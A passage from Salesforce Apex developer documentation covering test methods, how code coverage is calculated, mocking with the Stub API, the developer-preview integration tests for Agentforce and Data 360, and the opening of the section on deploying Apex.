- Then insert one `Mileage__c` record:

```
Mileage__c testMiles3 = new Mileage__c(Miles__c = 100, Date__c = System.today());
insert testMiles3;
```

- Validate the code by returning the inserted records:

```
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
    WHERE CreatedDate = TODAY
    and CreatedById = :u2.Id
    and miles__c != null]) {
    totalMiles += m.miles__c;
}
```


- Use the `Assert.areEqual` method to verify that the expected result is returned:

```
Assert.areEqual(u2Miles, totalMiles);
```

Testing and Code Coverage

The Apex testing framework generates code coverage numbers for your Apex classes and triggers every time you run one or more tests. Code coverage indicates how many executable lines of code in your classes and triggers have been exercised by test methods. Write test methods to test your triggers and classes, and then run those tests to generate code coverage information.

Apex Trigger and Class Covered by Test Methods



In addition to ensuring the quality of your code, unit tests enable you to meet the code coverage requirements for deploying or packaging Apex. To deploy Apex or package it for the Salesforce AppExchange, unit tests must cover at least 75% of your Apex code, and those tests must pass.

Code coverage serves as one indication of test effectiveness, but doesn't guarantee test effectiveness. The quality of the tests also matters, but you can use code coverage as a tool to assess whether you need to add more tests. While you need to meet minimum code coverage requirements for deploying or packaging your Apex code, code coverage shouldn't be the only goal of your tests. Tests should assert your app's behavior and ensure the quality of your code.

How Is Code Coverage Calculated?

Code coverage percentage is a calculation of the number of covered lines divided by the sum of the number of covered lines and uncovered lines. Only executable lines of code are included. (Comments and blank lines aren't counted.) `System.debug()` statements and curly brackets are excluded when they appear alone on one line. Multiple statements on one line are counted as one line for the purpose of code coverage. If a statement consists of multiple expressions that are written on multiple lines, each line is counted for code coverage.

The following is an example of a class with one method. The tests for this class have been run, and the option to show code coverage was chosen for this class in the Developer Console. The blue lines represent the lines that are covered by tests. The lines that aren't highlighted are left out of the code coverage calculation. The red lines show the lines that weren't covered by tests. To achieve full coverage, more tests are needed. The tests must call `getTaskPriority()` with different inputs and verify the returned value.

This is the class that is partially covered by test methods. The corresponding test class isn't shown.

```

1 public class TaskUtil {
2     public static String getTaskPriority(String leadState) {
3         // Validate input
4         if (String.isBlank(leadState) || leadState.length() > 2) {
5             return null;
6         }
7
8         String taskPriority;
9
10        if (leadState == 'CA') {
11            taskPriority = 'High';
12        } else if (leadState == 'WA') {
13            taskPriority = 'Low';
14        } else {
15            taskPriority = 'Normal';
16        }
17
18        return taskPriority;
19    }
20 }

```

Test classes (classes that are annotated with `@isTest`) are excluded from the code coverage calculation. This exclusion applies to all test classes regardless of what they contain—test methods or utility methods used for testing.



Note: The Apex compiler sometimes optimizes expressions in a statement. For example, if multiple string constants are concatenated with the `+` operator, the compiler replaces those expressions with one string constant internally. If the string concatenation expressions are on separate lines, the additional lines aren't counted as part of the code coverage calculation after optimization. To illustrate this point, a string variable is assigned to two string constants that are concatenated. The second string constant is on a separate line.

```
String s = 'Hello'
+ ' World!';
```

The compiler optimizes the string concatenation and represents the string as one string constant internally. The second line in this example is ignored for code coverage.

```
String s = 'Hello World!';
```

Inspecting Code Coverage

After running tests, you can view code coverage information in the Tests tab of the Developer Console. The code coverage pane includes coverage information for each Apex class and the overall coverage for all Apex code in your organization.

Also, code coverage is stored in two Lightning Platform Tooling API objects: [ApexCodeCoverageAggregate](#) and [ApexCodeCoverage](#). [ApexCodeCoverageAggregate](#) stores the sum of covered lines for a class after checking all test methods that test it. [ApexCodeCoverage](#) stores the lines that are covered and uncovered by each individual test method. For this reason, a class can have multiple coverage results in [ApexCodeCoverage](#)—one for each test method that has tested it. You can query these objects by using SOQL and the Tooling API to retrieve coverage information. Using SOQL queries with Tooling API is an alternative way of checking code coverage and a quick way to get more details.

For example, this SOQL query gets the code coverage for the `TaskUtil` class. The coverage is aggregated from all test classes that exercised the methods in this class.

```
SELECT ApexClassOrTrigger.Name, NumLinesCovered, NumLinesUncovered
FROM ApexCodeCoverageAggregate
WHERE ApexClassOrTrigger.Name = 'TaskUtil'
```

 **Note:** This SOQL query requires the Tooling API. You can run this query by using the Query Editor in the Developer Console and checking **Use Tooling API**.

Here's a sample query result for a class that's partially covered by tests:

ApexClassOrTrigger.Name	NumLinesCovered	NumLinesUncovered
TaskUtil	8	2

This next example shows how you can determine which test methods covered the class. The query gets coverage information from a different object, `ApexCodeCoverage`, which stores coverage information by test class and method.

```
SELECT ApexTestClass.Name, TestMethodName, NumLinesCovered, NumLinesUncovered
FROM ApexCodeCoverage
WHERE ApexClassOrTrigger.Name = 'TaskUtil'
```

Here's a sample query result.

ApexTestClass.Name	TestMethodName	NumLinesCovered	NumLinesUncovered
TaskUtilTest	testTaskPriority	7	3
TaskUtilTest	testTaskHighPriority	6	4

 **Note:** If a single deployment has over 2,000 Apex classes, `ApexCodeCoverage` objects for the deployed classes are deleted even if the deployment fails or is rolled back. `ApexCodeCoverageAggregate` objects aren't affected.

The `NumLinesUncovered` values in `ApexCodeCoverage` differ from the corresponding value for the aggregate result in `ApexCodeCoverageAggregate` because they represent the coverage related to one test method each. For example, test method `testTaskPriority()` covered 7 lines in the entire class out of a total of 10 coverable lines, so the number of uncovered lines with regard to `testTaskPriority()` is 3 lines (10–7). Because the aggregate coverage stored in `ApexCodeCoverageAggregate` includes coverage by all test methods, the coverage of `testTaskPriority()` and `testTaskHighPriority()` is included, which leaves only 2 lines that are not covered by any test methods.

Code Coverage Best Practices

Consider the following code coverage tips and best practices.

Code Coverage General Tips

- Run tests to refresh code coverage numbers. Code coverage numbers aren't refreshed when updates are made to Apex code in the organization unless tests are rerun.
- If the organization has been updated since the last test run, the code coverage estimate can be incorrect. Rerun Apex tests to get a correct estimate.

- The overall code coverage percentage in your organization doesn't include code coverage from package-related tests. The only exception is when package tests cause your triggers to fire. For more information, see [Managed and Unlocked Package Tests](#).
- Coverage is based on the total number of code lines in the organization. Adding or deleting lines of code changes the coverage percentage. For example, let's say an organization has 50 lines of code covered by test methods. If you add a trigger that has 50 lines of code not covered by tests, the code coverage percentage drops from 100% to 50%. The trigger increases the total code lines in the organization from 50 to 100, of which only 50 are covered by tests.

Why Code Coverage Numbers Differ Between Sandbox and Production

When Apex is deployed to production or uploaded as part of a package to the Salesforce AppExchange, Salesforce runs local tests in the destination organization. Sandbox and production environments often don't contain the same data and metadata, so the code coverage results don't always match. If code coverage is less than 75% in production, increase the coverage to be able to deploy or upload your code. The following are common causes for the discrepancies in code coverage numbers between your development or sandbox environment and production. This information can help you troubleshoot and reconcile those differences.

Test Failures

If the test results in one environment are different, the overall code coverage percentage doesn't match. Before comparing code coverage numbers between sandbox and production, make sure that all tests for the code that you're deploying or packaging pass in your organization first. The tests that contribute to the code coverage calculation must all pass before deployment or a package upload.

Data Dependencies

If your tests access organization data by using the `@IsTest(SeeAllData=true)` annotation, the test results can differ depending on which data is available in the organization. If the records referenced in a test don't exist or have changed, the test fails or different code paths are executed in the Apex methods. Modify tests so that they create test data instead of accessing organization data.

Metadata Dependencies

Changes in the metadata, such as changes in the user's profile settings, can cause tests to fail or execute different code paths. Make sure that the metadata in sandbox and production match, or ensure that the metadata changes aren't the cause of different test execution behavior.

Managed and Unlocked Package Tests

Code coverage that is computed after you run all Apex tests in the user interface, such as the Developer Console, can differ from code coverage obtained in a deployment. If you run all tests, including package-related tests, in the user interface, the overall code coverage in your organization doesn't include coverage for packaging code. Although package-related tests cover lines of code in managed or unlocked packages, this coverage isn't part of the organization's code coverage calculation as total lines and covered lines. In contrast, the code coverage computed in a deployment after running all tests through the `RunAllTestsInOrg` test level includes coverage of package-related code. If you're running package tests in a deployment through the `RunAllTestsInOrg` test level, we recommend that you run this deployment in a sandbox first or perform a validation deployment to verify code coverage.

Deployment Resulting in Overall Coverage Lower Than 75%

When deploying new components that have 100% coverage to production, the deployment fails if the average coverage between the new and existing code doesn't meet the 75% threshold. If a test run in the destination organization returns a coverage result of less than 75%, modify the existing test methods or write additional test methods to raise the code coverage over 75%. Deploy the modified or new test methods separately or with your new code that has 100% coverage.

Code Coverage in Production Dropping Below 75%

Sometimes the overall coverage in production drops below 75%, even though it was at least 75% when the components were deployed from sandbox. Test methods that have dependencies on the organization's data and metadata can cause a drop in code coverage. If the data and metadata have changed sufficiently to alter the result of dependent test methods, some methods can fail or behave differently. In that case, certain lines are no longer covered.

Recommended Process for Matching Code Coverage Numbers for Production

- Use a Full Sandbox as the staging sandbox environment for production deployments. A Full Sandbox mimics the metadata and data in production and helps reduce differences in code coverage numbers between the two environments.
- To reduce dependencies on data in sandbox and production organizations, use test data in your Apex tests.
- If a deployment to production fails due to insufficient code coverage, write more tests to raise the overall code coverage to the highest possible coverage or 100%. Retry the deployment.
- If a deployment to production fails even after you raise code coverage numbers in sandbox, run local tests from your production organization. Identify the classes with less than 75% coverage. Write additional tests for these classes in sandbox to raise the code coverage.

Build a Mocking Framework with the Stub API

Apex provides a stub API for implementing a mocking framework. A mocking framework has many benefits. It can streamline and improve testing and help you create faster, more reliable tests. You can use it to test classes in isolation, which is important for unit testing. Building your mocking framework with the stub API can also be beneficial because stub objects are generated at runtime. Because these objects are generated dynamically, you don't have to package and deploy test classes. You can build your own mocking framework, or you can use one built by someone else.

You can define the behavior of stub objects, which are created at runtime as anonymous subclasses of Apex classes. The stub API comprises the `System.StubProvider` interface and the `System.Test.createStub()` method.



Note: This feature is intended for advanced Apex developers. Using it requires a thorough understanding of unit testing and mocking frameworks.

Let's look at an example to illustrate how the stub API works. This example isn't meant to demonstrate the wide range of possible uses for mocking frameworks. It's intentionally simple to focus on the mechanics of using the Apex stub API.

Let's say we want to test the formatting method in the following class.

```
public class DateFormatter {
    // Method to test
    public String getFormattedDate(DateHelper helper) {
        return 'Today\'s date is ' + helper.getTodaysDate();
    }
}
```

Usually, when we invoke this method, we pass in a helper class that has a method that returns today's date.

```
public class DateHelper {
    // Method to stub
    public String getTodaysDate() {
        return Date.today().format();
    }
}
```

The following code invokes the method.

```
DateFormatter df = new DateFormatter();
DateHelper dh = new DateHelper();
String dateStr = df.getFormattedDate(dh);
```

For testing, we want to isolate the `getFormattedDate()` method to make sure that the formatting is working properly. The return value of the `getTodaysDate()` method normally varies based on the day. However, in this case, we want to return a constant, predictable value to isolate our testing to the formatting. Rather than writing a "fake" version of the class, where the method returns a

constant value, we create a stub version of the class. The stub object is created dynamically at runtime, and we can specify the “stubbed” behavior of its method.

To use a stub version of an Apex class:

1. Define the behavior of the stub class by implementing the `System.StubProvider` interface.
2. Instantiate a stub object by using the `System.Test.createStub()` method.
3. Invoke the relevant method of the stub object from within a test class.

Implement the StubProvider Interface

Here’s an implementation of the `StubProvider` interface.

```
@isTest
public class MockProvider implements System.StubProvider {

    public Object handleMethodCall(Object stubbedObject, String stubbedMethodName,
        Type returnType, List<Type> listOfParamTypes, List<String> listOfParamNames,
        List<Object> listOfArgs) {

        // The following debug statements show an example of logging
        // the invocation of a mocked method.

        // You can use the method name and return type to determine which method was called.

        System.debug('Name of stubbed method: ' + stubbedMethodName);
        System.debug('Return type of stubbed method: ' + returnType.getName());

        // You can also use the parameter names and types to determine which method
        // was called.
        for (integer i = 0; i < listOfParamNames.size(); i++) {
            System.debug('parameter name: ' + listOfParamNames.get(i));
            System.debug('parameter type: ' + listOfParamTypes.get(i).getName());
        }

        // This shows the actual parameter values passed into the stubbed method at runtime.

        System.debug('number of parameters passed into the mocked call: ' +
            listOfArgs.size());
        System.debug('parameter(s) sent into the mocked call: ' + listOfArgs);

        // This is a very simple mock provider that returns a hard-coded value
        // based on the return type of the invoked.
        if (returnType.getName() == 'String')
            return '8/8/2016';
        else
            return null;
    }
}
```

`StubProvider` is a callback interface. It specifies a single method that requires implementing: `handleMethodCall()`. When a stubbed method is called, `handleMethodCall()` is called. You define the behavior of the stubbed class in this method. The method has the following parameters.

- `stubbedObject`: The stubbed object

- `stubbedMethodName`: The name of the invoked method
- `returnType`: The return type of the invoked method
- `listOfParamTypes`: A list of the parameter types of the invoked method
- `listOfParamNames`: A list of the parameter names of the invoked method
- `listOfArgs`: The actual argument values passed into this method at runtime

You can use these parameters to determine which method of your class was called, and then you can define the behavior for each method. In this case, we check the return type of the method to identify it and return a hard-coded value.

Instantiate a Stub Version of the Class

The next step is to instantiate a stub version of the class. The following utility class returns a stub object that you can use as a mock.

```
public class MockUtil {
    private MockUtil() {}

    public static MockProvider getInstance() {
        return new MockProvider();
    }

    public static Object createMock(Type typeToMock) {
        // Invoke the stub API and pass it our mock provider to create a
        // mock class of typeToMock.
        return Test.createStub(typeToMock, MockUtil.getInstance());
    }
}
```

This class contains the method `createMock()`, which invokes the `Test.createStub()` method. The `createStub()` method takes an Apex class type and an instance of the `StubProvider` interface that we created previously. It returns a stub object that we can use in testing.

Invoke the Stub Method

Finally, we invoke the relevant method of the stub class from within a test class.

```
@isTest
public class DateFormatterTest {
    @isTest
    public static void testGetFormattedDate() {
        // Create a mock version of the DateHelper class.
        DateHelper mockDH = (DateHelper)MockUtil.createMock(DateHelper.class);
        DateFormatter df = new DateFormatter();

        // Use the mocked object in the test.
        System.assertEquals('Today\'s date is 8/8/2016', df.getFormattedDate(mockDH));
    }
}
```

In this test, we call the `createMock()` method to create a stub version of the `DateHelper` class. We can then invoke the `getTodayDate()` method on the stub object, which returns our hard-coded date. Using the hard-coded date allows us to test the behavior of the `getFormattedDate()` method in isolation.

Apex Stub API Limitations

Keep the following limitations in mind when working with the Apex stub API.

- The object being mocked must be in the same namespace as the call to the `Test.createStub()` method. However, the implementation of the `StubProvider` interface can be in another namespace.
- You can't mock the following Apex elements.
 - Static methods (including future methods)
 - Private methods
 - Properties (getters and setters)
 - Triggers
 - Inner classes
 - System types
 - Classes that implement the `Batchable` interface
 - Classes that have only private constructors
- Iterators can't be used as return types or parameter types.

SEE ALSO:

[StubProvider Interface](#)
[Test.createStub\(\)](#)

Apex Integration Tests for Agentforce and Data 360 Services (Developer Preview)

Use Apex integration tests to write end-to-end tests that exercise real interactions between your Salesforce org and services such as Agentforce and Data 360. Unlike standard Apex unit tests, integration tests relax callout restrictions and transaction rollback semantics, so your tests can make real service calls, commit data mid-transaction, and make assertions on expected outcomes. As a developer preview feature, integration tests are available only in scratch orgs. You can't run them in production orgs or during metadata deployments.

 **Note:** The Apex Integration Tests feature is available as a developer preview in scratch orgs in Summer '26 (API version 67.0). The feature isn't generally available unless or until Salesforce announces its general availability in documentation or in press releases or public statements. All commands, parameters, and other features are subject to change or deprecation at any time, with or without notice. Don't implement functionality developed with these commands or tools in your production package.

How Integration Tests Compare to Unit Tests

Integration tests complement, rather than replace, existing Apex unit tests. Unit tests remain the right choice for testing isolated business logic, triggers, and flows. Integration tests are for scenarios that require real service interactions across transaction boundaries. Use integration tests used in these ways.

- Test Agentforce callouts and verify their side effects on org data.
- Run real SOQL queries against Data 360 data model objects (DMOs) without stub mocks.
- Test behavior that depends on committed data, such as field history tracking across updates.

This table shows the key differences between standard Apex unit tests(`@IsTest`) and integration tests (`@IntegrationTest`).

	Unit Tests	Integration Tests
Agentforce and Data 360 callouts	Blocked; require mocks	Allowed

	Unit Tests	Integration Tests
Transaction behavior	Auto-rollback	Data committed. Use <code>@TearDown</code> for cleanup
Data visibility	Test data silo by default	<code>SeeAllData=true</code> by default
Code coverage	Counts toward deployment code coverage requirements	Doesn't count toward deployment code coverage requirements
Metadata deployments	Included. Unit tests are executed in metadata deployment.	Excluded
Execution	Synchronous or asynchronous	Asynchronous only. Allowed only 1 concurrent execution per org.
Maximum runtime	Standard limits	10 minutes

Enable Integration Tests in a Scratch Org Definition File

Before you can run Apex integration tests, you must have a scratch org with the `ApexIntegrationTests` feature enabled.

To enable the feature, add `ApexIntegrationTests` to the features array in the `config/project-scratch-def.json` of your Salesforce DX project.

```
{
  "orgName": "Company",
  "edition": "Developer",
  "features": ["ApexIntegrationTests"]
}
```

To create a scratch org with this definition, use the `org create scratch` Salesforce CLI command.

For more information about scratch org development, see [Scratch Orgs](#) in the *Salesforce DX Developer Guide*.

Create an Integration Test Class

To create an Apex integration test class, use these annotations and methods.

- `@IntegrationTest`: This annotation marks a class and its test methods as integration tests. A class annotated with `@IntegrationTest` can only contain integration test methods and `@TearDown` methods. You can't annotate a class with both `@IntegrationTest` and `@IsTest` annotations. You can't call integration test methods from non-test contexts or from `@IsTest` test methods. However, integration tests can call methods in `@IsTest` utility classes such as shared test data factories.
- `@TearDown`: This annotation marks a static cleanup method that runs after the test completes, regardless of whether the test passes or fails. Use this method to clean up committed test data. The teardown transaction auto-commits at the end of the execution.
- `IntegrationTest.commitTestOnly()`: This method commits data to the database mid-transaction so that it's visible to other threads and services. It resets the uncommitted work checkpoint, so subsequent callouts don't fail. The method also resets tracking for mixed DML operations, so you can perform setup sObject and non-setup sObject DML in separate commit windows. The method can only be called from an `@IntegrationTest` method. Calling it from outside an integration test context results in a runtime error: `Test.commitTestOnly() can only be called from integration testMethods.`

This basic integration test verifies that the service can insert an account.

```
@IntegrationTest
public class MyServiceIntegrationTest {
```

```

@IntegrationTest
public static void testServiceInteraction() {
    Account a = new Account(Name = 'Integration Test Account');
    insert as user a;
    IntegrationTest.commitTestOnly();

    Account result = [SELECT Id, Name FROM Account WHERE Id = :a.Id WITH USER_MODE];
    Assert.areEqual('Integration Test Account', result.Name);
}

@TearDown
public static void tearDown() {
    delete as user [SELECT Id FROM Account WHERE Name = 'Integration Test Account'];
}
}

```

Example: Test an Agent Action

An integration test can invoke an agent with an invocable action and assert on the response. The `commitTestOnly()` call before the agent invocation is critical. Without it, the record you created exists only in your pending transaction and is invisible to the Agentforce planner service.

```

@IntegrationTest
public with sharing class AgentforceIntegrationTest {

    @IntegrationTest
    public static void testAgentSummarizesAccount() {

        Account a = new Account(Name = 'AgentDemoAccount', AnnualRevenue = 1000000);
        insert as user a;
        IntegrationTest.commitTestOnly();

        Invocable.Action action = Invocable.Action.createCustomAction(
            'generateAiAgentResponse',
            'Demo_Action'
        );
        action.setInvocationParameter('userMessage', 'Summarize my Account ' + a.Id);

        List<Invocable.Action.Result> results = action.invoke();
        String response =
        results[0].getOutputParameters().get('agentResponse').toString();

        Assert.isNotNull(response, 'Agent should return a response');
        Assert.isTrue(response.contains('AgentDemoAccount'),
            'Response should reference the account name');
    }

    @TearDown
    public static void tearDown() {
        delete as user [SELECT Id FROM Account WHERE Name = 'AgentDemoAccount'];
    }
}

```


Example: Generate a report using the AdvancedInputBindings agent script recipe

This example uses the [AdvancedInputBindings](#) agent script recipe and generates a sales report for Q2 2026.

```
@IntegrationTest
public with sharing class AdvancedInputBindingsIntegrationTest {
    @IntegrationTest
    public static void testAgentUpdate() {
        // Invoke Agentforce service (callout allowed in integration tests)
        Invocable.Action action = Invocable.Action.createCustomAction(
            'generateAiAgentResponse',
            'AdvancedInputBindings'
        );

        String prompt = 'Generate a sales report for Q2 2026';
        action.setInvocationParameter('userMessage', prompt);
        List<Invocable.Action.Result> results = action.invoke();

        String response =
        results[0].getOutputParameters().get('agentResponse').toString();
        Assert.isTrue(response.contains('a0'), 'Expected agent response to create an
subject');

        // query and assert the report was created
        List<ASR_Report_Log__c> logs = [
            SELECT Id, Report_Type__c, User_ID__c, Format__c
            FROM ASR_Report_Log__c
            WHERE Start_Date__c = 2026-04-01
        ];
        Assert.areEqual(1, logs.size(), 'Report log should be created');
    }

    @tearDown
    public static void destroyTestRecords() {
        List<ASR_Report_Log__c> testRecords = [
            SELECT Id, Report_Type__c, User_ID__c, Format__c
            FROM ASR_Report_Log__c
            WHERE Start_Date__c = 2026-04-01
        ];

        if (testRecords.size() > 0) {
            delete testRecords;
        }
    }
}
```

Example: Test a Data 360 SOQL Query

Query Data 360 data model objects (DMOs) directly in integration tests without using `SoqlStubProvider` or `Test.createSoqlStub`. In standard unit tests, SOQL queries against DMO objects require stub mocks. Integration tests bypass this restriction for Data 360 entities.

```
@IntegrationTest
public with sharing class DataCloudQueryIntegrationTest {
```

```

@IntegrationTest
public static void testDMOQuery() {
    List<SObject> rows = Database.query('SELECT Id FROM Account__dlm WITH USER_MODE
LIMIT 1');
    Assert.areEqual(1, rows.size(), 'Data 360 query should return 1 row');
}
}

```

Example: Tests as a Specific User

Use `System.runAs()` to run integration test logic as a specific user, including setting up the necessary permission set assignments.

```

@IntegrationTest
public with sharing class RunAsIntegrationTest {

    @IntegrationTest
    public static void testAgentResponseAsStandardUser() {
        User u = [SELECT Id FROM User WHERE Alias = 'tstUsr' LIMIT 1];

        System.runAs(u) {
            Account a = new Account(Name = 'AgentDemoAccount');
            insert as user a;
            IntegrationTest.commitTestOnly();

            Invocable.Action action = Invocable.Action.createCustomAction(
                'generateAiAgentResponse',
                'Demo_Action'
            );
            String prompt = 'Summarize my Account ' + a.Id;
            action.setInvocationParameter('userMessage', prompt);
            List<Invocable.Action.Result> results = action.invoke();

            String response = results[0].getOutputParameters()
                .get('agentResponse').toString();
            Assert.isTrue(response.contains('AgentDemoAccount'));
        }
    }

    @TearDown
    public static void tearDown() {
        delete as user [SELECT Id FROM Account WHERE Name = 'AgentDemoAccount'];
    }
}

```

Example: Test External HTTP Callouts

Regular HTTP callouts to external endpoints other than Agentforce and Data 360 still require mocks in integration tests.

```

@IntegrationTest
public with sharing class HttpCalloutMockIntegrationTest implements HttpCalloutMock {

    public HTTPResponse respond(HTTPRequest req) {
        HTTPResponse res = new HTTPResponse();
    }
}

```

```

        res.setHeader('Content-Type', 'application/json');
        res.setBody('{"status":"success"}');
        res.setStatusCode(200);
        return res;
    }

    @IntegrationTest
    public static void testExternalApiWithMock() {
        Test.setMock(HttpCalloutMock.class, new HttpCalloutMockIntegrationTest());

        Account a = new Account(Name = 'Callout Test Account');
        insert as user a;
        IntegrationTest.commitTestOnly();

        Http h = new Http();
        HttpRequest req = new HttpRequest();
        req.setEndpoint('https://external-api.example.com/api');
        req.setMethod('POST');
        req.setBody('{"accountId":"' + a.Id + '"}');

        HttpResponse res = h.send(req);

        Assert.areEqual(200, res.getStatusCode());
        Assert.isTrue(res.getBody().contains('success'));
    }

    @TearDown
    public static void tearDown() {
        delete as user [SELECT Id FROM Account WHERE Name = 'Callout Test Account'];
    }
}

```



Example: Use `Test.startTest()` and `Test.stopTest()` with Asynchronous Apex

Asynchronous Apex operations enqueued in integration tests can be dequeued synchronously using the `Test.startTest()` and `Test.stopTest()` pattern.

```

@IntegrationTest
public with sharing class AsyncIntegrationTest {

    public with sharing class AccountProcessorQueueable implements Queueable {
        private Id accountId;

        public AccountProcessorQueueable(Id accountId) {
            this.accountId = accountId;
        }

        public void execute(QueueableContext context) {
            Account a = [SELECT Id, Name FROM Account WHERE Id = :accountId WITH
USER_MODE];
            a.Industry = 'Technology';
            update as user a;
        }
    }
}

```

```

@IntegrationTest
public static void testQueueableExecution() {
    Account a = new Account(Name = 'Async Test Account');
    insert as user a;
    IntegrationTest.commitTestOnly();

    Test.startTest();
    Id jobId = System.enqueueJob(new AccountProcessorQueueable(a.Id));
    Test.stopTest();

    Account updated = [SELECT Industry FROM Account WHERE Id = :a.Id WITH USER_MODE];

    Assert.areEqual('Technology', updated.Industry,
        'Queueable should have updated the industry');

    AsyncApexJob job = [
        SELECT Status, NumberOfErrors
        FROM AsyncApexJob WHERE Id = :jobId
        WITH USER_MODE
    ];
    Assert.areEqual('Completed', job.Status);
    Assert.areEqual(0, job.NumberOfErrors);
}
@TearDown
public static void tearDown() {
    delete as user [SELECT Id FROM Account WHERE Name = 'Async Test Account'];
}
}

```

Example: Create Multiple Commits Within a Transaction

Use `IntegrationTest.commitTestOnly()` multiple times with a test method to commit data progressively, which is useful when later operations depend on previously committed records.

```

@IntegrationTest
public with sharing class MultiCommitIntegrationTest {

    @IntegrationTest
    public static void testMultipleCommits() {
        Account a = new Account(Name = 'Commit Test Account');
        insert as user a;
        IntegrationTest.commitTestOnly();

        a.Website = 'example.com';
        update as user a;
        IntegrationTest.commitTestOnly();

        Contact c = new Contact(
            FirstName = 'Test',
            LastName = 'Contact',
            AccountId = a.Id
        );
        insert as user c;
    }
}

```

```

        IntegrationTest.commitTestOnly();

        Assert.areEqual(1,
            [SELECT COUNT() FROM Account WHERE Name = 'Commit Test Account' WITH
            USER_MODE]);
        Assert.areEqual(1,
            [SELECT COUNT() FROM Contact WHERE AccountId = :a.Id WITH USER_MODE]);
    }

    @TearDown
    public static void tearDown() {
        delete as user [SELECT Id FROM Contact WHERE LastName = 'Contact'];
        delete as user [SELECT Id FROM Account WHERE Name = 'Commit Test Account'];
    }
}

```



Example: Test Field History Tracking

Standard unit tests roll back all data, so field history records are never created. Integration tests commit data, which makes it possible to assert on field history.

```

@IntegrationTest
public with sharing class FieldHistoryIntegrationTest {

    @IntegrationTest
    public static void testFieldHistoryIsTracked() {
        Account a = new Account(Name = 'HistoryTestAccount', Website = 'example.com');

        insert as user a;
        IntegrationTest.commitTestOnly();

        a.Website = 'salesforce.com';
        update as user a;
        IntegrationTest.commitTestOnly();

        List<AccountHistory> history = [
            SELECT Id FROM AccountHistory WHERE AccountId = :a.Id
            WITH USER_MODE
        ];
        Assert.isTrue(history.size() > 0, 'Expected field history to be tracked');
    }

    @TearDown
    public static void tearDown() {
        delete as user [SELECT Id FROM Account WHERE Name = 'HistoryTestAccount'];
    }
}

```

Run an Integration Test

Both the test method and the teardown method commit their transactions automatically at the end of execution. Data created during the test persists unless explicitly deleted in the teardown.

@TestSetup methods also run before integration tests.

Integration tests are considered a distinct “IntegrationTest” category that’s separate from Apex unit tests, flow tests, and Agentforce tests. You can discover and run them using the Salesforce CLI or the Tooling API, either a single test class synchronously or multiple test classes asynchronously. Integration tests are excluded from `RunAllTests` during metadata deployments.

Integration Testing Best Practices

- Always implement `@TearDown` methods. Because integration tests commit data to the database, test data that is not torn down after the test run can impact subsequent runs. Delete records in the correct order in `@TearDown`. When you create related records, delete child records before parent records to avoid foreign key constraint issues.
- Use `commitTestOnly()` before callouts to Agentforce and Data 360. These services operate on separate threads that can’t see uncommitted data in your test’s pending transaction.
- Keep integration tests focused on integration concerns. Test isolated business logic with standard `@IsTest` unit tests. Reserve integration tests for scenarios that require real service interactions.
- Be aware of concurrency limits. Only one integration test can run per org at a time. Design your test suite accordingly, and prefer shorter, more focused tests over long monolithic ones. Integration tests have access to and can commit data to your org (`seeAllData=true`). Be mindful of other requests that may be trying to write to the same data rows in your org if you use existing data from your org.
- Create setup data and avoid reusing org data to avoid row lock contention.
- Plan for the 10-minute runtime limit. If a test involves multiple slow service calls, consider splitting it into separate test methods.
- Mock external HTTP endpoints. Even in integration tests, regular HTTP callouts to non-Salesforce endpoints require `HttpCalloutMock`. Only Agentforce and Data 360 services are exempt from the mock requirement.

Integration Testing Limitations and Considerations

- During developer preview, integration testing can only run in scratch orgs. Integration tests aren’t available in production orgs, sandboxes, or during metadata deployments.
- Integration tests don’t count toward code coverage requirements.
- There is no `@TestVisible` access. Unlike `@IsTest` classes, `@IntegrationTest` classes can’t access private members annotated with `@TestVisible` in the test classes.
- Only asynchronous execution is supported. Only one test runs per org at a time.
- Asynchronous Apex governor limits (for SOQL, DML, CPU and heap limits) apply to integration testing. See [Execution Governors and Limits](#) on page 348.
- Integration tests share the same 24-hour limit on asynchronous Apex test runs with flow tests and unit tests.

SEE ALSO:

https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_testing.htm
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_testing_stub_api.htm
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_testing_unit_tests.htm
<https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/MockSOQLTestsForDMOs.htm>
https://developer.salesforce.com/docs/atlas.en-us.apexref.meta/apexref/apex_class_Invocable_Action.htm
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_testing_best_practices.htm

Deploying Apex

You can't develop Apex in your Salesforce production org. Your development work is done in a sandbox, in a scratch org, or in a Developer Edition org.

Compile On Deploy

Each org's Apex code is automatically recompiled before completing a metadata deploy, package install, or package upgrade. Compile on deploy is enabled automatically for production orgs and full sandboxes to ensure that users don't experience reduced performance immediately following a deployment. You can't disable the compile on deploy option in production orgs.

For developer sandbox, developer pro sandbox, partial copy sandbox, developer, trial, and scratch orgs, this feature is disabled by default. To enable, select the **Perform Synchronous Compile on Deploy** option under Apex Settings in Setup. Deselect this option if you want to disable the feature in full sandboxes.

With the Compile on Deploy feature, deployments to the org invoke the Apex compiler and save the resulting bytecode as part of the deployment. For example, if you deploy a custom field, all the classes that use that custom field are recompiled. A minimal increase in deployment times can occur, but Apex doesn't need to be recompiled to process subsequent requests. The slight increase in deployment time can, in fact, mitigate performance issues for currently active users or processes. Consider enabling this feature in sandboxes or scratch orgs shared by multiple users for functional testing or used by continuous integration processes.

1. [Deploy Apex Using Change Sets](#)

Use change sets to deploy Apex classes and triggers between connected organizations, for example, from a sandbox org to your production org.

2. [Deploy Apex Using Salesforce Extensions for Visual Studio Code and Code Builder](#)

Salesforce Extensions for VS Code and Code Builder are powered by Salesforce CLI and the Salesforce APIs.

3. [Deploy Apex Using Metadata API](#)

Use Metadata API to deploy customization information, such as custom object definitions for your org.

4. [Deploy Apex Using Tooling API](#)

Use Tooling API to deploy Apex classes or Apex triggers. Because Tooling API allows you to change just one element within a complex type, it is easy to deploy using Tooling API.

5. [Deploy Apex Using DevOps Center](#)

Salesforce DevOps Center provides an improved experience around change and release management. Build a pipeline when you configure DevOps Center and use the pipeline to promote work items through the release lifecycle from development to production.

Deploy Apex Using Change Sets

Use change sets to deploy Apex classes and triggers between connected organizations, for example, from a sandbox org to your production org.

You can create an outbound change set in the Salesforce user interface and add the Apex components that you want to upload and deploy to the target organization.

SEE ALSO:

[Sandboxes: Staging Environments for Customizing and Testing: Change Sets](#)

EDITIONS

Available in: Salesforce Classic

Available in **Enterprise**, **Performance**, **Unlimited**, and **Database.com** Editions

Deploy Apex Using Salesforce Extensions for Visual Studio Code and Code Builder

